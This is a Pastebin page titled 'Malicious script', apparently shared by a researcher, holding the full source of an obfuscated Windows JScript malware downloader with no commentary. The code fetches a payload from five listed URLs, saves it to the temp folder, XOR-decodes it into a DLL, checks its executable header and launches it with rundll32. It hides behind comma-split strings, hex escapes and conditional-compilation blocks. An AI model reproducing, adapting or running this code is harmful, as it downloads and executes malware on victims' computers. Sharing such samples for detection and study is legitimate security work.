Advertisement
dynamoo

Malicious script

Nov 23rd, 2016
723
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. String.prototype.DeadAstronautInSpaceBa4 = function () {return this.split(",").join("");};
  2. //BEGIN_CODEC_PART
  3. function DeadAstronautInSpaceAq9(DeadAstronautInSpaceQf6)
  4. {var DeadAstronautInSpaceMw8=new Array();
  5. DeadAstronautInSpaceMw8[199]=128;DeadAstronautInSpaceMw8[252]=129;DeadAstronautInSpaceMw8[233]=130;DeadAstronautInSpaceMw8[226]=131;DeadAstronautInSpaceMw8[228]=132;DeadAstronautInSpaceMw8[224]=133;DeadAstronautInSpaceMw8[229]=134;DeadAstronautInSpaceMw8[231]=135;DeadAstronautInSpaceMw8[234]=136;DeadAstronautInSpaceMw8[235]=137;
  6. DeadAstronautInSpaceMw8[232]=138;DeadAstronautInSpaceMw8[239]=139;DeadAstronautInSpaceMw8[238]=140;DeadAstronautInSpaceMw8[236]=141;DeadAstronautInSpaceMw8[196]=142;DeadAstronautInSpaceMw8[197]=143;DeadAstronautInSpaceMw8[201]=144;DeadAstronautInSpaceMw8[230]=145;DeadAstronautInSpaceMw8[198]=146;DeadAstronautInSpaceMw8[244]=147;
  7. DeadAstronautInSpaceMw8[246]=148;DeadAstronautInSpaceMw8[242]=149;DeadAstronautInSpaceMw8[251]=150;DeadAstronautInSpaceMw8[249]=151;DeadAstronautInSpaceMw8[255]=152;DeadAstronautInSpaceMw8[214]=153;DeadAstronautInSpaceMw8[220]=154;DeadAstronautInSpaceMw8[162]=155;DeadAstronautInSpaceMw8[163]=156;DeadAstronautInSpaceMw8[165]=157;
  8. DeadAstronautInSpaceMw8[8359]=158;DeadAstronautInSpaceMw8[402]=159;DeadAstronautInSpaceMw8[225]=160;DeadAstronautInSpaceMw8[237]=161;DeadAstronautInSpaceMw8[243]=162;DeadAstronautInSpaceMw8[250]=163;DeadAstronautInSpaceMw8[241]=164;DeadAstronautInSpaceMw8[209]=165;DeadAstronautInSpaceMw8[170]=166;DeadAstronautInSpaceMw8[186]=167;
  9. DeadAstronautInSpaceMw8[191]=168;DeadAstronautInSpaceMw8[8976]=169;DeadAstronautInSpaceMw8[172]=170;DeadAstronautInSpaceMw8[189]=171;DeadAstronautInSpaceMw8[188]=172;DeadAstronautInSpaceMw8[161]=173;DeadAstronautInSpaceMw8[171]=174;DeadAstronautInSpaceMw8[187]=175;DeadAstronautInSpaceMw8[9617]=176;DeadAstronautInSpaceMw8[9618]=177;
  10. DeadAstronautInSpaceMw8[9619]=178;DeadAstronautInSpaceMw8[9474]=179;DeadAstronautInSpaceMw8[9508]=180;DeadAstronautInSpaceMw8[9569]=181;DeadAstronautInSpaceMw8[9570]=182;DeadAstronautInSpaceMw8[9558]=183;DeadAstronautInSpaceMw8[9557]=184;DeadAstronautInSpaceMw8[9571]=185;DeadAstronautInSpaceMw8[9553]=186;DeadAstronautInSpaceMw8[9559]=187;
  11. DeadAstronautInSpaceMw8[9565]=188;DeadAstronautInSpaceMw8[9564]=189;DeadAstronautInSpaceMw8[9563]=190;DeadAstronautInSpaceMw8[9488]=191;DeadAstronautInSpaceMw8[9492]=192;DeadAstronautInSpaceMw8[9524]=193;DeadAstronautInSpaceMw8[9516]=194;DeadAstronautInSpaceMw8[9500]=195;DeadAstronautInSpaceMw8[9472]=196;DeadAstronautInSpaceMw8[9532]=197;
  12. DeadAstronautInSpaceMw8[9566]=198;DeadAstronautInSpaceMw8[9567]=199;DeadAstronautInSpaceMw8[9562]=200;DeadAstronautInSpaceMw8[9556]=201;DeadAstronautInSpaceMw8[9577]=202;DeadAstronautInSpaceMw8[9574]=203;DeadAstronautInSpaceMw8[9568]=204;DeadAstronautInSpaceMw8[9552]=205;DeadAstronautInSpaceMw8[9580]=206;DeadAstronautInSpaceMw8[9575]=207;
  13. DeadAstronautInSpaceMw8[9576]=208;DeadAstronautInSpaceMw8[9572]=209;DeadAstronautInSpaceMw8[9573]=210;DeadAstronautInSpaceMw8[9561]=211;DeadAstronautInSpaceMw8[9560]=212;DeadAstronautInSpaceMw8[9554]=213;DeadAstronautInSpaceMw8[9555]=214;DeadAstronautInSpaceMw8[9579]=215;DeadAstronautInSpaceMw8[9578]=216;DeadAstronautInSpaceMw8[9496]=217;
  14. DeadAstronautInSpaceMw8[9484]=218;DeadAstronautInSpaceMw8[9608]=219;DeadAstronautInSpaceMw8[9604]=220;DeadAstronautInSpaceMw8[9612]=221;DeadAstronautInSpaceMw8[9616]=222;DeadAstronautInSpaceMw8[9600]=223;DeadAstronautInSpaceMw8[945]=224;DeadAstronautInSpaceMw8[223]=225;DeadAstronautInSpaceMw8[915]=226;DeadAstronautInSpaceMw8[960]=227;
  15. DeadAstronautInSpaceMw8[931]=228;DeadAstronautInSpaceMw8[963]=229;DeadAstronautInSpaceMw8[181]=230;DeadAstronautInSpaceMw8[964]=231;DeadAstronautInSpaceMw8[934]=232;DeadAstronautInSpaceMw8[920]=233;DeadAstronautInSpaceMw8[937]=234;DeadAstronautInSpaceMw8[948]=235;DeadAstronautInSpaceMw8[8734]=236;DeadAstronautInSpaceMw8[966]=237;
  16. DeadAstronautInSpaceMw8[949]=238;DeadAstronautInSpaceMw8[8745]=239;DeadAstronautInSpaceMw8[8801]=240;DeadAstronautInSpaceMw8[177]=241;DeadAstronautInSpaceMw8[8805]=242;DeadAstronautInSpaceMw8[8804]=243;DeadAstronautInSpaceMw8[8992]=244;DeadAstronautInSpaceMw8[8993]=245;DeadAstronautInSpaceMw8[247]=246;DeadAstronautInSpaceMw8[8776]=247;
  17. DeadAstronautInSpaceMw8[176]=248;DeadAstronautInSpaceMw8[8729]=249;DeadAstronautInSpaceMw8[183]=250;DeadAstronautInSpaceMw8[8730]=251;DeadAstronautInSpaceMw8[8319]=252;DeadAstronautInSpaceMw8[178]=253;DeadAstronautInSpaceMw8[9632]=254;DeadAstronautInSpaceMw8[160]=255;
  18. var DeadAstronautInSpaceVm9=new Array();
  19. for (var DeadAstronautInSpaceSZp7=0; DeadAstronautInSpaceSZp7 < DeadAstronautInSpaceQf6.length; DeadAstronautInSpaceSZp7 += 1)
  20. {var DeadAstronautInSpaceSAu1=DeadAstronautInSpaceQf6["charCodeAt"](DeadAstronautInSpaceSZp7);
  21. if (DeadAstronautInSpaceSAu1 < 128){var DeadAstronautInSpacePw0=DeadAstronautInSpaceSAu1;}
  22. else {var DeadAstronautInSpacePw0=DeadAstronautInSpaceMw8[DeadAstronautInSpaceSAu1];}
  23. DeadAstronautInSpaceVm9["push"](DeadAstronautInSpacePw0);};
  24. return DeadAstronautInSpaceVm9;}
  25. function DeadAstronautInSpaceWAx4(DeadAstronautInSpaceBt4)
  26. {var DeadAstronautInSpaceJq5=new Array();
  27. DeadAstronautInSpaceJq5[128]=199;DeadAstronautInSpaceJq5[129]=252;DeadAstronautInSpaceJq5[130]=233;DeadAstronautInSpaceJq5[131]=226;DeadAstronautInSpaceJq5[132]=228;DeadAstronautInSpaceJq5[133]=224;DeadAstronautInSpaceJq5[134]=229;DeadAstronautInSpaceJq5[135]=231;DeadAstronautInSpaceJq5[136]=234;DeadAstronautInSpaceJq5[137]=235;
  28. DeadAstronautInSpaceJq5[138]=232;DeadAstronautInSpaceJq5[139]=239;DeadAstronautInSpaceJq5[140]=238;DeadAstronautInSpaceJq5[141]=236;DeadAstronautInSpaceJq5[142]=196;DeadAstronautInSpaceJq5[143]=197;DeadAstronautInSpaceJq5[144]=201;DeadAstronautInSpaceJq5[145]=230;DeadAstronautInSpaceJq5[146]=198;DeadAstronautInSpaceJq5[147]=244;
  29. DeadAstronautInSpaceJq5[148]=246;DeadAstronautInSpaceJq5[149]=242;DeadAstronautInSpaceJq5[150]=251;DeadAstronautInSpaceJq5[151]=249;DeadAstronautInSpaceJq5[152]=255;DeadAstronautInSpaceJq5[153]=214;DeadAstronautInSpaceJq5[154]=220;DeadAstronautInSpaceJq5[155]=162;DeadAstronautInSpaceJq5[156]=163;DeadAstronautInSpaceJq5[157]=165;
  30. DeadAstronautInSpaceJq5[158]=8359;DeadAstronautInSpaceJq5[159]=402;DeadAstronautInSpaceJq5[160]=225;DeadAstronautInSpaceJq5[161]=237;DeadAstronautInSpaceJq5[162]=243;DeadAstronautInSpaceJq5[163]=250;DeadAstronautInSpaceJq5[164]=241;DeadAstronautInSpaceJq5[165]=209;DeadAstronautInSpaceJq5[166]=170;DeadAstronautInSpaceJq5[167]=186;
  31. DeadAstronautInSpaceJq5[168]=191;DeadAstronautInSpaceJq5[169]=8976;DeadAstronautInSpaceJq5[170]=172;DeadAstronautInSpaceJq5[171]=189;DeadAstronautInSpaceJq5[172]=188;DeadAstronautInSpaceJq5[173]=161;DeadAstronautInSpaceJq5[174]=171;DeadAstronautInSpaceJq5[175]=187;DeadAstronautInSpaceJq5[176]=9617;DeadAstronautInSpaceJq5[177]=9618;
  32. DeadAstronautInSpaceJq5[178]=9619;DeadAstronautInSpaceJq5[179]=9474;DeadAstronautInSpaceJq5[180]=9508;DeadAstronautInSpaceJq5[181]=9569;DeadAstronautInSpaceJq5[182]=9570;DeadAstronautInSpaceJq5[183]=9558;DeadAstronautInSpaceJq5[184]=9557;DeadAstronautInSpaceJq5[185]=9571;DeadAstronautInSpaceJq5[186]=9553;DeadAstronautInSpaceJq5[187]=9559;
  33. DeadAstronautInSpaceJq5[188]=9565;DeadAstronautInSpaceJq5[189]=9564;DeadAstronautInSpaceJq5[190]=9563;DeadAstronautInSpaceJq5[191]=9488;DeadAstronautInSpaceJq5[192]=9492;DeadAstronautInSpaceJq5[193]=9524;DeadAstronautInSpaceJq5[194]=9516;DeadAstronautInSpaceJq5[195]=9500;DeadAstronautInSpaceJq5[196]=9472;DeadAstronautInSpaceJq5[197]=9532;
  34. DeadAstronautInSpaceJq5[198]=9566;DeadAstronautInSpaceJq5[199]=9567;DeadAstronautInSpaceJq5[200]=9562;DeadAstronautInSpaceJq5[201]=9556;DeadAstronautInSpaceJq5[202]=9577;DeadAstronautInSpaceJq5[203]=9574;DeadAstronautInSpaceJq5[204]=9568;DeadAstronautInSpaceJq5[205]=9552;DeadAstronautInSpaceJq5[206]=9580;DeadAstronautInSpaceJq5[207]=9575;
  35. DeadAstronautInSpaceJq5[208]=9576;DeadAstronautInSpaceJq5[209]=9572;DeadAstronautInSpaceJq5[210]=9573;DeadAstronautInSpaceJq5[211]=9561;DeadAstronautInSpaceJq5[212]=9560;DeadAstronautInSpaceJq5[213]=9554;DeadAstronautInSpaceJq5[214]=9555;DeadAstronautInSpaceJq5[215]=9579;DeadAstronautInSpaceJq5[216]=9578;DeadAstronautInSpaceJq5[217]=9496;
  36. DeadAstronautInSpaceJq5[218]=9484;DeadAstronautInSpaceJq5[219]=9608;DeadAstronautInSpaceJq5[220]=9604;DeadAstronautInSpaceJq5[221]=9612;DeadAstronautInSpaceJq5[222]=9616;DeadAstronautInSpaceJq5[223]=9600;DeadAstronautInSpaceJq5[224]=945;DeadAstronautInSpaceJq5[225]=223;DeadAstronautInSpaceJq5[226]=915;DeadAstronautInSpaceJq5[227]=960;
  37. DeadAstronautInSpaceJq5[228]=931;DeadAstronautInSpaceJq5[229]=963;DeadAstronautInSpaceJq5[230]=181;DeadAstronautInSpaceJq5[231]=964;DeadAstronautInSpaceJq5[232]=934;DeadAstronautInSpaceJq5[233]=920;DeadAstronautInSpaceJq5[234]=937;DeadAstronautInSpaceJq5[235]=948;DeadAstronautInSpaceJq5[236]=8734;DeadAstronautInSpaceJq5[237]=966;
  38. DeadAstronautInSpaceJq5[238]=949;DeadAstronautInSpaceJq5[239]=8745;DeadAstronautInSpaceJq5[240]=8801;DeadAstronautInSpaceJq5[241]=177;DeadAstronautInSpaceJq5[242]=8805;DeadAstronautInSpaceJq5[243]=8804;DeadAstronautInSpaceJq5[244]=8992;DeadAstronautInSpaceJq5[245]=8993;DeadAstronautInSpaceJq5[246]=247;DeadAstronautInSpaceJq5[247]=8776;
  39. DeadAstronautInSpaceJq5[248]=176;DeadAstronautInSpaceJq5[249]=8729;DeadAstronautInSpaceJq5[250]=183;DeadAstronautInSpaceJq5[251]=8730;DeadAstronautInSpaceJq5[252]=8319;DeadAstronautInSpaceJq5[253]=178;DeadAstronautInSpaceJq5[254]=9632;DeadAstronautInSpaceJq5[255]=160;
  40. var DeadAstronautInSpaceQHz1=new Array();var DeadAstronautInSpaceOt6="";var DeadAstronautInSpacePw0; var DeadAstronautInSpaceSAu1;
  41. for (var DeadAstronautInSpaceSZp7=0; DeadAstronautInSpaceSZp7 < DeadAstronautInSpaceBt4.length; DeadAstronautInSpaceSZp7 += 1)
  42. {DeadAstronautInSpacePw0=DeadAstronautInSpaceBt4[DeadAstronautInSpaceSZp7];
  43. if (DeadAstronautInSpacePw0 < 128){DeadAstronautInSpaceSAu1=DeadAstronautInSpacePw0;}
  44. else {DeadAstronautInSpaceSAu1=DeadAstronautInSpaceJq5[DeadAstronautInSpacePw0];}
  45. DeadAstronautInSpaceQHz1.push(String["fromCharCode"](DeadAstronautInSpaceSAu1));}
  46. DeadAstronautInSpaceOt6=DeadAstronautInSpaceQHz1["join"]("");
  47. return DeadAstronautInSpaceOt6;}
  48. function DeadAstronautInSpaceFr8(DeadAstronautInSpaceBt4, DeadAstronautInSpaceWs3)
  49. {var DeadAstronautInSpaceNp0 = DeadAstronautInSpaceAq9(DeadAstronautInSpaceWs3);
  50. for (var DeadAstronautInSpaceSZp7 = 0; DeadAstronautInSpaceSZp7 < DeadAstronautInSpaceBt4.length; DeadAstronautInSpaceSZp7 += 1)
  51. {DeadAstronautInSpaceBt4[DeadAstronautInSpaceSZp7] ^= DeadAstronautInSpaceNp0[DeadAstronautInSpaceSZp7 % DeadAstronautInSpaceNp0.length];};
  52. return DeadAstronautInSpaceBt4;}
  53. function DeadAstronautInSpacePm7(DeadAstronautInSpaceGIw7)
  54. {var DeadAstronautInSpaceUw8=new ActiveXObject("A"+"D"+"O"+"DB.Stream");
  55. DeadAstronautInSpaceUw8.type=2;
  56. DeadAstronautInSpaceUw8["Charset"]="437";
  57. DeadAstronautInSpaceUw8["open"]();
  58. DeadAstronautInSpaceUw8["LoadFromFile"](DeadAstronautInSpaceGIw7);
  59. var DeadAstronautInSpaceXo6=DeadAstronautInSpaceUw8["ReadText"];
  60. DeadAstronautInSpaceUw8["close"]();
  61. return DeadAstronautInSpaceAq9(DeadAstronautInSpaceXo6);}
  62. function DeadAstronautInSpaceCg2(DeadAstronautInSpaceGIw7, DeadAstronautInSpaceBt4)
  63. {var DeadAstronautInSpaceUw8=new ActiveXObject("A"+"D"+"O"+"DB.Stream");
  64. DeadAstronautInSpaceUw8.type=2;
  65. DeadAstronautInSpaceUw8["Charset"]="437";
  66. DeadAstronautInSpaceUw8["open"]();
  67. DeadAstronautInSpaceUw8["writeText"](DeadAstronautInSpaceWAx4(DeadAstronautInSpaceBt4));
  68. DeadAstronautInSpaceUw8["SaveToFile"](DeadAstronautInSpaceGIw7, 2);
  69. DeadAstronautInSpaceUw8["close"]();}
  70. //END_CODEC_PART
  71. var DeadAstronautInSpaceGWv2 = "http://";
  72.     var DeadAstronautInSpaceGZa1 = [this["DeadAstronautInSpaceGWv2"] + "nielsredeker.nl/gmcoirnrm",this["DeadAstronautInSpaceGWv2"] + "gurlfanam.net/krwjx",this["DeadAstronautInSpaceGWv2"] + "vedicmotet.com/61y7mljr4",this["DeadAstronautInSpaceGWv2"] + "praam.cz/iessl",this["DeadAstronautInSpaceGWv2"] + "nightpeople.co.il/xklqq33nr"];
  73. var DeadAstronautInSpaceRAe5 = "gSvwB8EjL";
  74. var DeadAstronautInSpaceCYx1 = "sBBFreXOybCy";
  75. var DeadAstronautInSpaceWWe2 = "mq";
  76. var DeadAstronautInSpaceZp0 = new ActiveXObject("Scripting.FileSystemObject");
  77. var DeadAstronautInSpaceOk1=2;
  78. var DeadAstronautInSpaceAJd1=new ActiveXObject("WScript.Shell");
  79. var DeadAstronautInSpaceEp4=DeadAstronautInSpaceAJd1["\x45\x78\x70\x61\x6e\x64\x45\x6e\x76\x69\x72\x6f\x6e\x6d\x65\x6e\x74\x53\x74\x72\x69\x6e\x67\x73"]("\x25\x54\x45\x4d\x50\x25\x2f");
  80. var DeadAstronautInSpaceAm8=DeadAstronautInSpaceEp4 + DeadAstronautInSpaceRAe5;
  81. var DeadAstronautInSpaceXq2=DeadAstronautInSpaceAm8 + ".d" + "ll";
  82. var DeadAstronautInSpaceZc8=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DeadAstronautInSpaceBa4(), "WinHttp.WinHttpRequest.5.1"];
  83. for (var DeadAstronautInSpaceSZp7=0; DeadAstronautInSpaceSZp7 < DeadAstronautInSpaceZc8.length; DeadAstronautInSpaceSZp7 += 1)
  84. {
  85. try
  86. {
  87. var DeadAstronautInSpaceKt1=new ActiveXObject(DeadAstronautInSpaceZc8[DeadAstronautInSpaceSZp7]);
  88. break;
  89. }
  90. catch (e)
  91. {
  92. continue;
  93. }
  94. };
  95. function DeadAstronautInSpaceMJz7()
  96. {
  97. var DeadAstronautInSpaceOOs3 = DeadAstronautInSpaceZp0.GetFile(DeadAstronautInSpaceXq2);
  98. return DeadAstronautInSpaceOOs3["ShortPath"];
  99. }
  100. var DeadAstronautInSpaceNn3 = 0;
  101. for (var DeadAstronautInSpaceIUt5 = 0; DeadAstronautInSpaceIUt5 < DeadAstronautInSpaceGZa1.length; DeadAstronautInSpaceIUt5 = DeadAstronautInSpaceIUt5 + 1)
  102. {
  103. try
  104. {
  105. var DeadAstronautInSpaceKFk3=new ActiveXObject("A"+"D"+"O"+"DB.Stream");
  106. DeadAstronautInSpaceKt1["open"]("G,E,T".DeadAstronautInSpaceBa4(), DeadAstronautInSpaceGZa1[DeadAstronautInSpaceIUt5], false);
  107. DeadAstronautInSpaceKt1.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  108. DeadAstronautInSpaceKt1["s,e,n,d".DeadAstronautInSpaceBa4()]();
  109. // while (DeadAstronautInSpaceKt1.readystate < 4) WScript["Sleep"](100);
  110. DeadAstronautInSpaceKFk3["open"]();
  111. DeadAstronautInSpaceKFk3.type=1;
  112. /*@cc_on
  113. DeadAstronautInSpaceKFk3.write(DeadAstronautInSpaceKt1.ResponseBody);
  114. DeadAstronautInSpaceKFk3.position=0;
  115. DeadAstronautInSpaceKFk3.SaveToFile(DeadAstronautInSpaceAm8, DeadAstronautInSpaceOk1);
  116. DeadAstronautInSpaceKFk3.close();
  117. var DeadAstronautInSpaceVm9 = DeadAstronautInSpacePm7(DeadAstronautInSpaceAm8);
  118. DeadAstronautInSpaceVm9 = DeadAstronautInSpaceFr8(DeadAstronautInSpaceVm9, DeadAstronautInSpaceCYx1);
  119. if (DeadAstronautInSpaceVm9[0] != 77 || DeadAstronautInSpaceVm9[1] != 90) continue;
  120. DeadAstronautInSpaceCg2(DeadAstronautInSpaceXq2, DeadAstronautInSpaceVm9);
  121. var DeadAstronautInSpaceLLd4 = DeadAstronautInSpaceMJz7();
  122. var d = new Date();
  123. d.setFullYear("2015");
  124. if (""+d.getFullYear() == "2015") eval('DeadAstronautInSpaceAJd1["R,u,n".DeadAstronautInSpaceBa4()]("r,u,n,d,l,l,3,2".DeadAstronautInSpaceBa4() + " " + DeadAstronautInSpaceLLd4 + "," + DeadAstronautInSpaceWWe2);');
  125. @*/
  126. break;
  127. }
  128. catch (e) {continue;};
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement